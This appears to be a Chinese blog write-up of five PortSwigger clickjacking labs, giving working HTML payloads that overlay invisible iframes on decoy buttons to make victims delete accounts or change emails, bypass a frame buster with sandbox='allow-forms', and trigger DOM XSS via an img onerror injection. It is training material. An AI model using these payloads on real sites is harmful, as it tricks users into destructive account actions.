目录All labs | Web Security Academy --- 所有实验室 |网络安全学院 (portswigger.net)
- 1. Basic clickjacking with CSRF token protection
- 2. Clickjacking with form input data prefilled from a URL parameter
- 3. Clickjacking with a frame buster script
- 4. Exploiting clickjacking vulnerability to trigger DOM-based XSS
- 5. Multistep clickjacking
1. Basic clickjacking with CSRF token protection
具有 CSRF 令牌保护的基本点击劫持
目标:
制作一些 HTML 来构建帐户页面并欺骗用户删除他们的帐户
过程:
- 先登录账号,登录后界面上有个选项为
Delete account
,即删除账户。 - 页面上方有个
Go to exploit server
去利用服务器,点进去,在Body
中写入HTML
代码并用CSS
来绝对定位选项Delete account
的位置。 - 设置透明度
opacity
使得攻击者看不到真实的界面,Delete account
选项被隐藏在<div>Click Me</div>
之下
Quote / 参考
在点击劫持攻击中,攻击者会将一个透明的iframe覆盖在目标网站的页面上,然后诱使受害者在该iframe中点击某些看似无害的按钮或链接,实际上却是在执行攻击者的恶意操作
攻击者使用iframe的目的是为了掩盖受害者的真实行为。因为iframe可以嵌入其他网站或页面,攻击者可以在iframe中展示一个看似无害的页面或按钮,但实际上它们可能会触发跨站点请求,执行攻击者的恶意操作。
<style>
iframe {
position:relative;
width:1000px;
height: 700px;
opacity: 0.0000001;
z-index: 2;
}
div {
position:absolute;
top:515px;
left:60px;
z-index: 1;
}
</style>
<div>Click Me</div>
<iframe src="https://0a37007803673341c044c7f400150047.web-security-academy.net/my-account"></iframe>
2. Clickjacking with form input data prefilled from a URL parameter
使用从 URL 参数预填充的表单输入数据进行点击劫持
目标:
诱使用户点击“更新电子邮件”按钮
过程:
登录账号,转到服务器界面,这一关,主要是通过 GET 参数的方式预填充表单,即在 URL 上添加了修改的邮箱
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.00;
z-index: 2;
}
div {
position:absolute;
top:450px;
left:80px;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="https://0a3800d603ebc15ac0aa4aa0002c0090.web-security-academy.net/my-account?email=111@123.com"></iframe>
3. Clickjacking with a frame buster script
使用 frame buster 脚本进行点击劫持
目标:
诱使用户点击“更新电子邮件”按钮
过程:
- 先登录账号,然后到服务器界面,这一关运用了
sandbox
属性,限制 iframe 嵌套,使其失效。 - 可通过在
iframe
标签中设置sandbox="allow-forms"
来绕过限制
Quote / 参考
"Frame buster"
技术使用 JavaScript 代码来检测页面是否被嵌套在框架中在 HTML 中,
sandbox="allow-forms"
是一种设置 iframe(内嵌框架)安全性的方法之一。该属性指定在 iframe 中是否允许表单提交。当
sandbox
属性的值为allow-forms
时,表示在 iframe 中允许表单提交,但不允许执行其他一些操作,如运行脚本、显示弹出窗口等。
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:450px;
left:80px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="https://0a0e00d50460a332c236f332009c00c0.web-security-academy.net/my-account/?email=hacker@attacker-website.com"></iframe>
4. Exploiting clickjacking vulnerability to trigger DOM-based XSS
利用点击劫持漏洞触发基于 DOM 的 XSS
目标:
欺骗用户单击“单击我”按钮来调用函数。print()
过程:
- 先登录账号,然后到服务器界面,这一关在 iframe 的点击劫持中附加了 DOM XSS。
- 通过 name 输入框,放入 JavaScript 脚本
<img src=1 one rror=print()>
,因为这个 img 标签的 src 属性的值是 1,所以这个图片肯定是不存在的,因此会触发 one rror 事件,并且执行 print() 函数。print() 是 JavaScript 的内置函数,能够在弹窗中输出内容。
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:620px;
left:40px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe
src="https://0a2a00e403c20784c0166d6a00c800b2.web-security-academy.net/feedback/?name=<img src=1 one rror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>
5. Multistep clickjacking
多步点击劫持
目标:
诱骗用户单击删除帐户按钮和确认对话框
过程:
需要执行两个步骤,删除用户 --> 确认删除
,所以设置两个点击按钮
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:510px;
left:50px;
z-index: 1;
}
.secondClick {
top:285px;
left:225px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click Store</div>
<iframe src="https://0a9a0010038a45ffc436c9d000f50019.web-security-academy.net/my-account"></iframe>
标签:index,劫持,Clickjacking,portswigger,点击,iframe,攻击者,position,靶场
From: https://www.cnblogs.com/yii-ling/p/17157291.html